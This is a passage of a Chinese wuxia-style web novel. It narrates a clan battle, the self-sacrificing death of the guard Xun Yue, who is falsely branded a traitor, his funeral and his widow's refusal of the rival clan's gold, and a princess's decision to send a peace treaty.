“印记放大,只见到半个‘霍’字,假章也拿来凑数,可见玉老爷已老眼昏花。”
“呵呵,真假不是你霍乾念说了算,要看官衙记档的什么。官家说什么是真的,那就是真的——还记得,为什么商户约书都要送上级存档,以官家为准吗?拜你所赐呀霍少主!”
“看来,玉老爷已经和官家比对过了。”
“霍少主何必装不知,你不是也派人去找记档了吗?”
霍帮不仅找了,还派的大亲卫叶峮亲去,折了三个同去的护卫。
霍乾念从一开始就知道玉家借修建庙宇之便,在霍氏祠堂暗造兵器库,编织一个足以让霍帮倾巢覆灭的大阴谋。
为了助玉家早日完成兵器库,方便他们挖掘建库,霍帮甚至贴心地换了两个耳聋眼花的老仆看守祠堂。
待玉家信心满满地来揭发霍帮私藏兵器,霍帮便可凭官家记档的真印记,抓玉家个伪造印章、栽赃嫁祸,人赃并获地将玉家送上谋反的罪名。
但现在看来,玉阳基一早就知道,荀戓偷走的那枚醒狮印章是假的,甚至料到霍帮会去官衙找真记档,反咬玉家一口。
霍乾念点点头,“看来,玉老爷一定要我将这‘私藏兵器意图**’的罪名吞下了。”
玉阳基笑得菊花一团似的,“不止吞下,还要上达天听,诛连九族。连根拔起,一人不留。”
此话一出,全场鸦雀无声,面色皆变。
霍帮护卫们几乎同时握住刀柄,缓缓抽出佩刀。
玉阳基见状笑得浑身乱抖,像极了一条扭曲的毒蛇。
“哟,霍少主想干什么?我记得你家这坟头地不许见血来着,怎么,孝子贤孙当够了?”
霍乾念并不接茬,只盯着玉阳基,冷冷吐出一个字:
“杀!”
第109章 叛徒
霍氏祠堂后院,巨大的武器库前,两方人手高度紧张,危险对峙。
霍帮护卫们已全部抽刀,蓄势待发。
在听到霍乾念那个“杀”字后,所有人如火弹一般瞬间弹射出去。
兵器交接声震耳欲聋,吓得门外围观的百姓们惊叫逃窜。
玉家护卫们也连忙抽刀应战,就连荀戓也抽出佩刀,刀尖冲向霍帮的人。
云琛刻意避开荀戓的方向,只将全部怒气发泄在玉家护卫身上,一剑一杀,完全不顾身后霍乾念如何目光忧重地追着她。
一时间,后院里只见刀光剑影,血影交错,一个个身影飞扑出去,又一个个跌倒在血泊。
小六疯了似的地朝荀戓杀过去,但玉家护卫们不停冲上来,阻挡的小六根本冲不过去。
叶峮一反常态,没有叫云琛回霍乾念身边据守,而是呼喊小六的名字,打手势示意他回霍乾念身旁护卫。
叶峮和小六一左一右护卫着霍乾念,一一杀尽扑上来的玉家护卫。
这么多年来,很少有霍玉两大家主当面对峙的机会。
所有人都心知肚明,这两个主子里,只要死一个,另一个便赢得天下太平。
一时间,两方人马都铆足了劲朝对方家主杀去。
云琛几次都冲到玉阳基面前了,却又被七八个高手亲卫联合挡了回来。
她根本不知道霍乾念与南璃君怎样筹谋,根本不晓得眼前局势多么复杂,是什么弯弯绕绕的谋算。
她只是想杀玉阳基,用这个大功劳去换荀戓一命!去换霍乾念原谅荀戓这个叛徒!
报着这样的决心,她一次次冲锋击杀,所有**上来的玉家护卫都只见到眼前蓝光一闪,喉咙一凉,便立马去见阎王了。
她一路横冲直撞杀去,完全不管自己如何深陷玉家护卫的包围圈,只盯着玉阳基那张老脸,铁了心要取那人头。
见云琛后背完全暴露,身上已有好几处刀伤,叶峮大急:
“阿琛!冷静!撤!!”
可云琛根本听不见,她被一刀砍倒,又立马爬起来继续杀。
脖颈擦着刀锋过,后脑勺贴着刀尖走。
她的身影在寒光闪闪的刀锋上滚来滚去,看得人心惊肉跳。
迟迟击杀不到玉阳基,云琛有些急躁,一招不稳,立马被一人迎面打倒。
她倒在地上,以剑抵挡来刀,这才看清持刀的竟是荀戓。
一瞬间,她四肢像被泥沼固住了一般。
她知道自己应当站起来继续杀,可手中隐月剑却根本抬不起来。
荀戓咬着牙,再次高高举刀,朝云琛砍去。
云琛愣愣地看着荀戓,直到刀锋挨到眼前,她才下意识举剑抵挡。
就这样,荀戓一刀又一刀砍向云琛。
没有任何招式和打法,只是粗鲁又猛烈,逼得云琛狼狈后退,直到彻底退出玉家护卫的包围圈。
见云琛脱身,荀戓露出个决然的笑容,轻声哽咽:
“好兄弟,哥就送你到这里了”。
而后荀戓便飞身持刀,猛地朝霍乾念的方向冲去。
云琛大惊,大叫一声“少主小心!”慌忙起身要追,却见霍乾念没有动,叶峮也没有动。
谁都没有动。
只是小六听见有人喊“少主小心”,见有身影杀来,下意识举起了护卫刀。
下一刻,荀戓直直扑向小六的刀尖,没有一丝犹豫。
刀尖狠狠扎进荀戓的胸口,使他再也无法往前一步。
“哐当”一声,荀戓手中的刀落地。
他两手握住小六的刀刃,用力往胸口又深扎两分。
巨大的疼痛感席卷全身,他却不想小六看见,用尽全力控制着表情,露出一个比鬼哭还要难看的笑容。
他哗地喷出一大口血,再也支撑不住力气,缓缓跪倒在小六面前。
“狗哥……狗哥……”
小六松开握刀的手,惊慌失措地后退,完全无法明白眼前是怎么回事。
可看见荀戓痛苦地皱眉,伤口不断涌出血,小六又下意识扑过去捂荀戓的胸口,一会儿去堵刀口,一会儿又想把刀从荀戓身上**,慌乱得不知怎么才好。
崩溃之下,小六两手抱头,生生拽下一大片带血的头发,用已变形的声音大吼:
“狗哥我没有!我没有要杀你狗哥!云哥!云哥快来啊!!救救狗哥啊!!”
云琛堪堪从玉家护卫刀
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下滚过,连滚带爬地奔到荀戓面前。
荀戓的脸色仍然蜡黄,整张脸因为痛苦而皱成一团,眼中却带着一抹释然。
他嘴里不断地喷出血,身子开始剧烈颤抖。
“狗哥……狗哥……”
云琛抱住荀戓的身体,双手颤抖得比荀戓还要厉害。
荀戓想摸摸云琛的脸,却见自己满手脏血,便转了方向,颤巍巍去摸云琛脖子上的红绳。
云琛大脑一片空白,只是慌忙顺着荀戓的动作,掏出脖子上的红绳和金锁。
荀戓摸了摸云琛的金锁,又看了眼小六脖子上的金锁,心满意足地笑了。
用尽最后一点力气,荀戓艰难地开口:
“你俩……小子……一定……长命百岁……”
一瞬间,云琛什么都明白了。
长命锁。
天河曜。
她什么都懂了,却什么都迟了。
荀戓告别过了,可她根本没发觉。
她只能眼睁睁地看着荀戓眼神涣散,慢慢吐出最后一口气,永远地闭上了眼睛。
这个忠贞了一辈子的护卫。
这个“窝囊”了一辈子的真汉子。
就这样以叛徒的身份倒下,再也站不起来了。
云琛用力抱住荀戓的身子,使劲埋头进那尚还温热的肩膀,痛哭了出来。
“狗哥!!”小六凄厉呼喊,爆发出同样恐惧又绝望的大哭。
可眼前的情势容不得人悲伤。
花绝从旁杀过来,狠狠擦了下眼睛,不让泪水模糊视线,大力拉扯云琛:
“阿琛!小六!快撤!”
云琛抬头望去,这才发现周遭杀意更猛,场面比方才更加混乱。
不知道从哪里来的一大波守城军突然冲进院里,正在**霍帮护卫,显然是玉阳基早就安排好的帮手。
护卫们怎敌正规军,再加上霍帮寡不敌众,很快便死伤大半。
叶峮浑身挂彩,霍乾念身上也已经中了箭矢。
不敢再耽搁,叶峮背起霍乾念,小六哭着从荀戓身上抽出自己的刀,背起荀戓的尸体。
云琛在前,花绝、不言和其他残余的霍帮护卫随后,一行人狂奔出院子,朝庙宇的方向逃去。
第110章 最后一次相拥
郊外除了霍氏祠堂,只有那庙宇可躲避。
霍乾念一早就知道那庙宇是玉家为造兵器库而建的,也知道为了不引起霍帮注意,那庙宇里并没有玉家人。
众人策马飞奔,一路持刀洒血,驾马直入庙堂正殿,惊得僧人和香客们惊叫躲避,霎时跑得无影无踪。
叶峮赶忙为霍乾念包扎疗伤,花绝和不言立刻关严殿门,卡牢了粗壮的门栓。
剩下的护卫们伤得伤,昏得昏,全都倒在地上爬不起来。
四下里只闻一个个剧烈疲惫的喘息,还有受伤的痛呼声。
守城军和玉家的人没有追上来,而是据守在山脚下不动,似乎是玉阳基与带兵的将领争执起来了。
趁这空档,霍帮众人得以休整,纷纷打水擦洗疗伤,吃点贡品果腹。
众人横七竖八靠在蒲团上,勉强休憩。
云琛和小六将荀戓放置在莲花座下的软垫上。
这庙宇虽是玉家为掩人耳目建的,却也造得妥帖精细,庄严肃穆。
金佛高大伫立,慈眉善目,不悲不喜,垂望着座下那没了生息的躯体。
供桌前,巨大的香烛燃烧着,将金色的火光投射在荀戓逐渐发青的脸庞。
小六还在哭,像个孩子似的抱着头,蜷着腿,无助地靠在荀戓脚边。
云琛则呆呆地望着荀戓的脸,她满心都在想一个问题:
今后……再也见不到了,是吗?
一想到这里,云琛就觉心锥似的痛。
“狗哥……”她喃喃地唤了一声,嗓子眼像有块棉花噎着似的,叫她发不出声音,只能无声地落泪。
叶峮照顾完霍乾念,还想安置霍乾念休息睡片刻,霍乾念却摇头叹息,只是担忧又不忍地望着云琛。
叶峮明白霍乾念的意思,便端了水盆走到云琛身边,轻轻去擦她伤口上的脏污。
云琛一动不动,只是泪眼望着叶峮,用近乎哀求的声音说:
“狗哥不是叛徒……他不会的……你信我!”
叶峮听得心酸,嘴唇颤动,却说不出一个字。
花绝从一旁冲过来,一边大骂着“所有人都亲眼看到他拿刀砍少主了!叛徒就是叛徒!不值当为叛徒伤心!小六杀得好!”一边想要揪起荀戓的衣领,似乎是想揍他一顿,问个清楚。
不言忙擦眼泪,冲过来阻止花绝,“你冷静点!”
花绝一把推开不言,可他的手刚碰到荀戓鲜血凝固的领口,就突然失了力气,哭着骂道:
“你给老子起来说清楚……你怎么能当叛徒……你怎么能……”
花绝和小六的哭声回荡在空旷高深的殿堂里,盘桓在红漆如血的梁上,久久不绝。
不知过了多久。
直到入夜,众护卫受伤疲累,已七七八八地睡去。
小六和花绝哭得累了,靠在一起睡着。
只有云琛还守在荀戓的尸体旁,不吃不喝,也不睡。
霍乾念没有召她,也没有下令强制她休息。
只是她守了荀戓多久,霍乾念便守了她多久。
叶峮见这样下去不是个办法,建议道:
“少主,要不我将真相告诉阿琛吧……不然阿琛走不出来的……”
霍乾念点点头,“到后殿说吧。”
叶峮便称要为荀戓擦洗换衣,最好将荀戓挪去后殿安置,叫云琛过来抬人。
不言原本坐在房梁上,一个人默默地哭着,见叶峮和云琛在搬动荀戓,立马就要跳下来帮忙,却被叶峮用眼神制止住。
叶峮轻轻摇头,不言只得重新坐回去,不忍地转过头,不愿再看。
荀戓被安置在后殿。叶峮轻轻为他擦拭脏污,湿布擦过胸口时,那伤口已不再流血,只是骇人地大张着,露着胸骨和内脏。
叶峮眼睛一红,忍不住落泪。
“兄弟,你受罪了……”
云琛小心翼翼地为荀戓梳头发,却见明明不到四十而已,荀戓却已生出白发。
想来,是肩负着一大家子妻儿老小,忧累太过的缘故吧……
一想到荀戓的家人,想到这汉子一辈子都在为了妻儿老小忍辱负重,奔走卖命……
云琛忍不住低声啜泣,一遍又一遍地唤着:
“狗哥……狗哥……”
叶峮长叹一声,哽咽道:
“原本,我也以为狗哥叛变了,竟然偷印章给玉家,那可是霍帮要命的公印啊……虽然少主早有察觉,留的是个假印章,但我十分失望,便去质问狗哥。狗哥故作与我反目……”
叶峮回想起众人吃火锅的那日,荀戓虽然将刀冲向他,却根本下不了死手。
于是,叶峮一把打掉荀戓手里的刀,半是恳切半是逼迫,问道:
“你到
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底有什么苦衷?说出来!我也许能帮你!”
荀戓脸色蜡黄又灰败,苦笑道:“我说我想先凭印章投诚玉家,然后去刺杀玉阳基,你信不?”
没有任何质疑和嘲笑,叶峮点头道:
“我信。可你纵使赔上性命,也不可能做到。玉阳基身边全是顶尖护卫高手,就算我们六人齐上阵,也不可能一击即杀。”
荀戓瞬间更加颓丧,跌坐在地上,惨笑地看着叶峮:
“那怎么办,我活不长了……”
叶峮为荀戓擦拭完刀口的脏污,摸了把眼泪,道:
“我去白马巷前府医那问过了,狗哥是肝腐之症,已病入膏肓,无药可治,最多还能活两个月……原本,狗哥想装作叛变,打入玉家内部,伺机刺杀玉阳基,可这实在太难,很可能狗哥舍出一条命,却什么都换不回。
我便带狗哥去向少主和盘托出,狗哥愿意做‘引子’,入身少主筹谋这局。他想拿玉家的一千两黄金赏金留给妻儿老小……除此,他还想……”
看了眼正殿的方向,叶峮用最低的声音黯然道:
“他还想用自己一命,为小六……换个好前程……”
听完这句话,云琛整个人震在原地。
荀戓说,反正都是死,不如给家人和兄弟留点什么再死。
从荀戓死的那一刻起,小六就是名正言顺击杀“叛徒荀戓”的英雄了。
有这样大的功劳在身,小六终于能荣登他梦寐以求的亲卫。
荀戓一直都知道,做亲卫是小六的梦想。
所以他无畏地扑向小六的刀尖,那沿着锋利刀刃落下的每一滴血,都是为了小六的前程而流……
心啊,怎么就似刀搅一样痛。
云琛抱住荀戓冰冷发僵的尸体,将脸贴在那青紫色的脸上,颤抖着痛哭出声。
她知道,这大约是她与荀戓……今生最后一次相拥了。
云琛哭了很久,未曾留意到叶峮是什么时候离开的。
她感觉到一只温热的手覆在她的后背,轻轻拍着。
霍乾念一句话也没有说,只是静静地陪着她。
哭了很久,她才擦干眼泪,对着霍乾念露出一个凄凉的笑容:
“真好……少主知道狗哥是功臣,不是叛徒……
真好……狗哥从今往后……再也不会病痛了……”
第111章 丧仪
玉阳基原本打算乘胜追击,借守城军的刀除掉霍乾念。这也是他将破庙这个“豁口”故意留给霍帮躲避的原因。
但守城军听闻公主南璃君已在率兵赶来的路上,不愿与南璃君正面冲突。
与玉阳基争执之下,守城军进不得,退不得,只得据守在庙宇矮山脚下,静观其变。
玉阳基大急,虽有心派玉家护卫上山围杀,可无奈庙宇建在山顶,既能将其围困死,也属一夫当关万夫莫开的难以**之地,只得作罢。
等南璃君匆匆赶到的时候,霍帮的护卫们已经昏迷了一大半,霍乾念也因为伤口化脓有些高热。
见庙宇正殿里一片狼藉,四处都是血染的衣服、布巾,供桌上的贡品被吃得干干净净,连核都没剩,南璃君赶紧命随行医官诊治,又叫侍从们忙活出几桌热食。
霍帮众人吃饱喝足,重新为伤口上药包扎,又休息了半日,才觉得活过来。
霍乾念小腿上中了两处箭伤,虽感觉不到疼痛,但伤口不妙,需要剔除脓肉,再敷上草药。
医官有点犹豫,霍乾念便自己拿过剃刀,干脆利索地划破皮肉,将脓肉剔尽,看得南璃君浑身直冒鸡皮疙瘩。
霍乾念因为高热,嗓子有点哑,道:
“公主,我虽是残废,好歹也是男子,你是不是应该回避一下?”
南璃君白了他一眼,叹气道:
“都这个时候了,还在乎男女大防这点破事?霍乾念,我应该听你的,不要贸然对玉家动手的……现在看来,玉家这一年多来的节节败退,还有朝廷里与之勾结的大臣们的退让,根本都是假象,都是用来麻痹我们……不,是用来麻痹我的……”
霍乾念没有作声,只是等医官敷好草药,捆扎好伤口,退出去,他才平静开口:
“无妨,胜败乃兵家常事。”
南璃君感激地看了霍乾念一眼,“谢谢你没有说‘早就劝过你你却不听’‘我早说了你却不信’这样的话……说实话,我以为你会训我来着。”
霍乾念同往常一样,姿态从容地端茶慢饮,完全不像一个才死里逃生从杀斗中活下来的人。
南璃君已听说了,霍氏祠堂被糟蹋得千疮百孔,霍帮护卫也**一大半。
霍乾念问:“你带多少兵来的?”
南璃君道:“三百公主府亲兵而已……说率兵赶来,是诓守城军的……曹放老将军虽与玄甲军倾向我,却容不得随意借兵调兵,一着不慎就会被拿住个‘谋反’的罪名,反而坏事。”
犹豫了一下,南璃君忍着心里发虚,从怀里掏出一封密信:
“你之前说,官家记档找不到也没事,物证没了,人证在也行……”
不必南璃君说完,霍乾念打断:“我猜,统管商户印鉴的人反水了,不答应给我们作证了,是吧。”
和平时一样,一切都在霍乾念思量中,算不得什么意外之祸。
南璃君垂头丧气“是……先前说好为我们作证的,不知怎的如今又改口了,非说官家记档一直都是半个‘霍’字……你说得对,人是最靠不住的……我不该轻信……”
霍乾念饮一口茶,开始复盘:
“也就是说,现在兵器库在我霍家祠堂里,相关证物上的印鉴本来是假,但因为官家记档被调换,‘证人’又临时改口,所以假的也成了真的,对吗?”
南璃君不好意思看霍乾念,垂着头道:“是的。”
“可以说,霍帮私造兵器并意图谋反之事,如今是铁证如山。加上今日有一大群玉家故意吸引来的围观百姓。马上,从民间市井到宫内朝堂,都将认定霍帮谋反,对吗?”
“是……”
“朝中大臣除了中立派,以及倾向我们的公主派,其余亲玉派的朝臣们,公主之前说已打点妥当,保证他们这次做低附小,不力鼎玉家,可还算数?”
南璃君艰难地咽了口吐沫,“照目前来看,什么做低附小,打从一开始就是假的……必然还是会力鼎玉家。”
霍乾念喝口茶,想了想,又喝一口茶,声音并没有什么特别:
“这局面还真是大大不利啊。”
沉默了许久许久,南璃君长叹一声,低声道:
“这一局,我们败了……”
很快,霍帮大败的消息,沸沸扬扬,传遍整个楠国。
这场霍玉两家的血腥
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狮豹斗,下到市井皆知,上到朝堂派系争锋相斗,搅得朝野内外不得安宁。
在公主府亲兵护卫下,霍帮回到烟城府邸;玉阳基也领玉家护卫暂居一处水岛;
城官与守城军表面对南璃君毕恭毕敬,秉持中立,实则仍归属玉家一方。
双方陷入胶着,维持着诡异的平静状态。
霍府内外安静空荡,护卫们休养生息,静待主子的下一场杀斗命令。
云琛和小六收拾了荀戓在霍帮的遗物,不过是几件旧衣,一个洗得发白的空钱袋子,还有些洗漱碎物,东西很少,连一个小匣子都装不满。
叶峮、花绝和不言轮流去荀戓家里帮忙丧仪。
一见到那破旧房屋,小小柴院,一屋子老老少少,还有个咿呀学语的孩子,几个大老爷们都心酸不已,忍不住落泪。
花绝在知道荀戓“叛变”的真相后,难受不已,主动包揽了荀戓丧仪的所有费用,还想自掏钱袋给荀戓家人置办一处好宅院,不言却道:
“这家没有了男人看顾,不敢露富啊……若被贼人盯上,反倒坏事,唉……”
叶峮也同意,“还是细水长流更平安些。”
几人不由同时看向灵堂前跪着的妇人,那是荀戓的遗孀刘氏。
和叶峮几人处理丧事已经非常熟练不同,刘氏和孩子们的脸上除了悲伤,更多的是迷茫。
从今往后,这一大家子的重担,就都落在一个寡妇身上了。
从今往后,这五个孩子就再也没有父亲了。
云琛看着那崭新的棺材,只觉得好不真实。
昨天还咧着嘴笑,对她说“咋样,哥帅不”的兄弟,今天就无声无息地躺在那小小的棺材里。
她总觉得荀戓下一刻就会突然跳起来,哈哈大笑着说一句“臭小子!骗你的!我没死!”
所以她总是忍不住走近棺材,却只见到荀戓已经青灰色的脸。
那僵硬的身体穿着他这辈子唯一没有缝补过的衣服:
一件崭新又昂贵的寿衣。
云琛心头酸楚,正愣神间,一个帮忙的护卫跑过来说道:
“云哥,外面有个玉家护卫找你——说只找你。”
第112章 荀戓的情意
“玉家护卫?找我?”云琛疑惑。
荀戓家屋院很小,走出灵堂,她一眼就看见胥斩牵马站在院门口。
来来往往的霍帮护卫们都用仇恨的目光瞪着他。
看见云琛走来,胥斩忍不住说:
“你再来晚点,我只怕要被你们霍帮人用眼神分尸了。”
云琛和所有霍帮护卫一样,对玉家护卫皆恨之厌之,但胥斩稍稍算个例外。
她问:“胥斩大哥,你怎么来了?若是要上香,恐怕进不去,里面都是我们霍帮的兄弟。”
胥斩摇摇头,从马背上卸下两个沉重的匣子:
“上香就算啦,我可不敢进去——这是玉家许诺荀戓的一千两黄金,他没来得及领,我给他送来。”
她皱眉,“是玉阳基让你送来的?”
“老爷不管这种小事,是我去领的。”
见云琛目光晦暗,并不动手接过,胥斩指指屋院里:
“一千两金子足够一家老小下半辈子用了,这是荀戓忍辱换来的,拿着吧。”
云琛惊讶地看着胥斩,后者笑笑说:
“荀戓从没真心投诚玉家,没叛变过霍帮,我们都知道。”
胥斩露出钦佩又惋惜的神色,“霍帮从没出过叛徒,作为对家,我们比谁都知道。这次的事,无非是两位主子谋划博弈,需要荀戓这样一个引子牵线搭桥。所以这一千两黄金,权当敬送忠卫。”
云琛收下金子,对着已翻身上马准备离去的胥斩发问:
“胥斩大哥,你不是因为冲锋铁木船被毁的事,被贬去做低等押运护卫了吗,怎么又回烟城了?而且看你服制,像还是亲卫?”
胥斩佯装没好气,瞪了她一眼,然后掀开衣服,露出胸口一个箭矢疤痕,得意地说:
“去年夏天,你家少主派人暗杀我们千辛万苦找来的神箭手陈仓,杀完还想暗杀我家老爷。我冲过去挡了一箭,便官复原职了。”
云琛嘴角微牵,诚心道:“恭喜你,胥斩大哥。”
胥斩笑笑,“我走了。希望有朝一日能和你喝一场。”
顿了顿,胥斩目光复杂,继续道:“希望你我都能活到最后。”
说罢,胥斩扬鞭驾马而去。
云琛明白胥斩的意思。
按霍帮与玉家如今的情形,只怕要不了多久再见面,便是你死我活。
半日后。
荀戓的丧仪接近尾声。
帮忙丧仪的霍帮兄弟们三两离去,最后只剩云琛和小六。
小六还在没完没了地烧纸钱、元宝,云琛单独将荀戓的遗孀刘氏请到一旁,将两匣子黄金给刘氏。
看着眼前两大匣子金光灿灿的金子,刘氏呆愣了片刻,忍不住捂脸痛哭。
“这傻子……”
对刘氏来说,那是她同床共枕的夫君啊……
她怎会不知那日突然的回家探亲,那一一叩拜老人、抱了孩子,又拥着她久久不愿放手,是他的生死诀别呢。
云琛也跟着落泪,“嫂子,家里老老少少,放置这样一大笔钱财在家里,恐招祸患,最好存入霍帮的钱庄,月月取用为好。”
刘氏明白云琛的苦心,擦去眼泪,朝云琛行了一礼,鼻音浓重地说:
“谢谢云兄弟关怀,也请云兄弟代谢过这几日来帮忙的各位叔叔。我虽一介妇人,却也知德行。这玉家的钱,我不要。”
云琛有些急,“嫂子,这是狗哥的意思,狗哥怕他走了以后你们过不好……”
刘氏摇头,“若收了这钱,他就真成叛徒了……这傻瓜骄傲了一辈子,最后非要为了我们舍去他护卫的体面……他肯,我不肯……请云兄弟帮我还给玉家吧。”
刘氏脸上挂着泪,神色却十分坚持。
云琛没有办法,只得欠身还礼,准备离去时,却又被刘氏叫住。
“云兄弟,你稍等。”
刘氏转身去了内屋,寻出一个扁扁圆圆的小盒子给云琛:
“前几日他回来看我和孩子时,将这件东西放在家里,叫我转交给你。”
云琛打开盒子,只见到两枚精致又喜庆的同心结。
同心结下压着一张大红色的小纸条,摊开来,上面是荀戓的两行字:
恭贺少主婚喜。
恭贺云弟婚喜。
荀戓至死都不知道云琛的女扮男装,至死都以为她与霍乾念是龙阳之好。
荀戓不懂男人为什么会喜欢男人,但依旧盼他的“兄弟”幸福。
云琛鼻头发酸,滚滚落下眼泪。
仔细将装着同心结的盒子收好,仿佛揣着荀戓
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那滚烫又热烈的情谊,云琛驾马狂奔,直奔烟城城北一处霍帮堂口。
天色已黑,堂口的伙计正在关门打板,见霍帮的服制飞驰而来,赶紧又重新启门掌灯,迎云琛入内。
这处堂口专门负责霍帮护卫丧葬抚恤。
只要是为霍帮牺牲的护卫,其身后事、家人抚恤等一干事宜,都由此统管。
云琛叫来管事,问道:“护卫**,霍帮都会有一笔银子给其家人,对吗?”
管事道:“正是,依照护卫们阶次不同,功劳不同,身后抚恤银两也多少不同,但都会归其家人所有,以尽霍帮抚慰。”
“那我若**,有多少丧葬银子?”
管事愣了一下,赶忙翻记册:
“一般亲卫的抚恤银是八百两银子,您屡立大功,约莫有五千四百两银。”
不知云琛为何大半夜跑来问这么不吉利的问题,管事笑道:
“云护卫武功高强,功勋卓著,必当长命百岁,等着在霍帮养老,大抵用不到这笔钱的……”
没心情听管事的吉利话,云琛又问:
“我可以现在指定除家人以外的人选,将来把这丧葬抚恤托付去吗?”
管事又是一愣,“虽无先例,但按道理是可以的,毕竟是您的身后钱,您想给谁就给谁。”
“好,那我说,你写。”云琛不会写字,只得让管事代笔。
管事虽一头雾水,却还是麻利地拿来纸册印章。
云琛道:“荀蕊儿,草字头的‘荀’。”
管事提笔正要写,却笔尖停在纸上,问道:
“是不是还有荀霜儿,荀瀚,荀阳,荀攸?还有四个老人,两个女子,一个男子?”
云琛愣了,“你怎么知道?”
管事放下笔,翻找出一道霍乾念的亲笔手令,递给云琛。
“‘荀’这个姓少见,所以我一下就想起来了。前些日子,少主亲下的一封手令上就写着这些人的名字,说是每月十两银,一直供到五个孩子读书成人,各自婚娶为止。
此外还包括一家人的添衣、过节、看病费,五个孩子婚礼聘礼,四个老人的丧仪费,刘氏的再嫁之礼……一切都按富户标准安置,少说得供二十年,七七八八下来,得有近万两了。”
第113章 和谈约书
“少主,只要一想到狗哥一个人……孤零零地躺在坟墓里……我心里就好难受……”
“躺在那里的只是他的躯体而已,他的魂魄已去世间游历,终于可以安宁了。”
“少主,将来我**,别埋我,就烧成灰撒在风里吧……”
这一次,霍乾念沉默了。
云琛黯然望着夕阳,霍乾念便目不转睛地看着她的背影。
他第一次动了别离的念头。
只要他坐在这轮椅里,他就只能眼睁睁地看着她为自己搏命厮杀。
只要在他身边一日,她便危险一日。
可若离了他,凭她的本事,便能活,能平安。
但仅仅是动了这别离的念头,他就觉得心如刀剜似的痛,喉咙像被一只无形的手死死扼住,根本无法呼吸。
可这世间有些事就是那么邪门,想都不能想。
霍乾念刚刚放下“别离”的念头,南璃君便派人请他前往白鹭岛议事。
霍乾念与亲卫抵达白鹭岛的时候,正厅里已乌泱泱坐满了人。
公主手下所有大商都在,算得上名号的家主都出席在此。颜十九也来了。
一见云琛,颜十九便高兴地举起扇子挥舞,咧着大嘴,没心没肺地笑。
云琛略点头示意,颜十九立马瞧出她情绪不对,下意识冷眼看向霍乾念。
待霍乾念坐定厅中,南璃君道:
“我要谈和。”
霍乾念扫视厅中,看众人面色便知,在他来之前,南璃君已然说服众人和谈之事。
霍乾念面色如常,没有多说一个字:
“好,那便依公主命令。”
南璃君叹了口气:
“霍少主,如今的情势,对我们大大不妙,我们拿不出铁证洗清‘私藏武器意图谋反’的罪名,再这样下去,只怕将一败涂地。我思来想去,不如与玉家和谈吧。在座所有大商大户,皆许一成年利给玉家,霍帮退八十个堂口给玉阳基,如何?”
厅中鸦雀无声,只等霍乾念发话。
霍帮既是公主手下势力最大的一方,更是直面玉家冲锋陷阵的领头军。
如果霍乾念不点头,南璃君也不能强压。
南璃君也很清楚这一点,她怎不知一步退让便要步步退让的下场,但她还是心一横,努力做出个最亲和的笑容,对云琛道:
“小云护卫,你觉得如何?”
云琛差点没反应过来南璃君是在同自己说话,这种议事的场合,怎轮得到她发言,她只是一个小护卫。
然而不等云琛有所反应,霍乾念立刻开口应下:
“好,谈和就谈和,公主想要怎样都可以。”
“好好好,那这事便定了。”南璃君心虚地不敢看霍乾念,她知道那必然是一张阴沉带杀的脸。
可南璃君也是被逼无奈,否则她怎敢去点云琛的名字,拿霍乾念最看重的亲信来暗**胁。
既定下和谈之事,众人七嘴八舌出谋划策,最后由南璃君亲笔写下一份和谈约书,一一列清赔款和割让堂口的一干事宜。
和谈约书写好了,可谁去送又成了难题。
南璃君问众人:
“这和谈约书的分量不必多说,极其重要,需有人亲自送往玉家。请诸位提点人选。”
大厅里再次陷入无声,谁都不愿担这个危险又麻烦的差事。
南璃君不悦,声音也带了强势,“诸位,既已走到和谈这一步,大家都是荣辱与共之势,无人可置身事外。”
又安静了很久,一个掌管铁器行当的大商道:
“殿下,恕臣直言。既是送和谈约书去,必然不能声势浩大地去,只能孤身一人深入玉家腹地。我们这些人没有功夫在身,只怕难以自保。”
另一位大商从旁附和:“是啊,和谈只是咱们一厢情愿,谁知玉阳基愿不愿意谈,眼下他玉家占尽先机优势,岂会轻易妥协?只身送和谈约书,无异于羊入虎口,实在危险。”
“也不至于吧,两国交战还不斩来使呢,玉阳基难道敢杀了送约书的人?”
“玉阳基那厮全无半点伦
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理道德,你敢保证他不动送约书之人一根手指头?”
“那如何是好,送约书之人必得有功夫在身自保,有一定名头和阶位,更得机敏果敢,方能成事。”
众人议论纷纷,不约而同将目光投向霍乾念,都默认这送和谈约书之人应当出自霍帮最合适。
霍乾念飞快地在心里盘算:叶峮有大亲卫统领之责,阶位虽高,但不宜轻动;不言已是暗卫,不可轻易露面;花绝若去,只怕三言两语就要打起来。
霍乾念装作没有看见南璃君一个劲儿地瞧云琛。放云琛孤身入玉家?除非他霍乾念先死。
“少主,要不我去……”
云琛开口试问,一旁的南璃君大喜过望。
霍乾念刚要严词拒绝,却听大厅角落里传来一个嘶哑的声音——
“少主,我去吧。”
众人循声看向角落,只见到一个黑黑壮壮的少年护卫,穿着霍帮近卫的服制。
小六走上前,跪定堂中,对霍乾念道:
“少主,我愿意去送和谈约书。我也是亲卫了,我有资格去,对吧……”
小六眼眶微红,神情却是前所未有的坚定。
人人都说他小六年纪小,还不成事,可这不代表他傻。
虽然叶峮没有说,云琛也没有说,但小六整夜整夜地梦见荀戓,一次次笔直地朝自己的刀尖扑来……
小六到底慢慢懂了,也仿佛一夜间长大了。
他知道,荀戓用胸口一刀,给兄弟换了个好前程。
霍帮亲卫,一个足以光宗耀祖的好前程。
小六想,既然如此,他便不能辜负荀戓,他要豁出命去挣个大功劳回来,扎扎实实、名正言顺地做亲卫。
云琛太懂小六了,正因为太懂,她便无法开口与小六争。
她知道小六性子倔强,不拿下这差事,不挣个头功回来,是绝对不肯罢休的。
另一边,南璃君本来只钟意云琛去送约书,看着堂下那陌生青涩的少年护卫,她有点失望,但也不好说些什么。
第114章 亲卫小六
回到霍府后,花绝翻遍库房,为小六找来一套旧亲卫服制。
小六穿着有些小,胳膊袖子短了一截,胸脯也紧绷绷的,看起来有些滑稽。
花绝发愁,“事情太急了,送约书的事慢不得,不然必得请最好的裁缝上门来量体,给你好好做一身衣服,唉!”
小六倒不在意,摸着身上的亲卫服制,高兴道:
“天天看你们穿着这衣服耍威风,今儿我终于也穿上了!嘿嘿!”
叶峮在一旁捣鼓两支烟火折子,仔细地将折子检查了一遍又一遍,分两处藏在小六身上,嘱咐道:
“你孤身一人进了玉家的门,一定要处处留意小心,一旦发现苗头不对,立刻冲天燃放烟火,我们立刻杀进去救你。”
不言替小六磨好护卫刀,接话道:
“对,别怕误会,也别怕是想多了,误判了,只要有不对劲的地方,立刻发信号。我得护着少主,没法和叶峮哥他们同去在外照应。等你小子这次立大功回来,我请七个红坊的小娘子来陪你!”
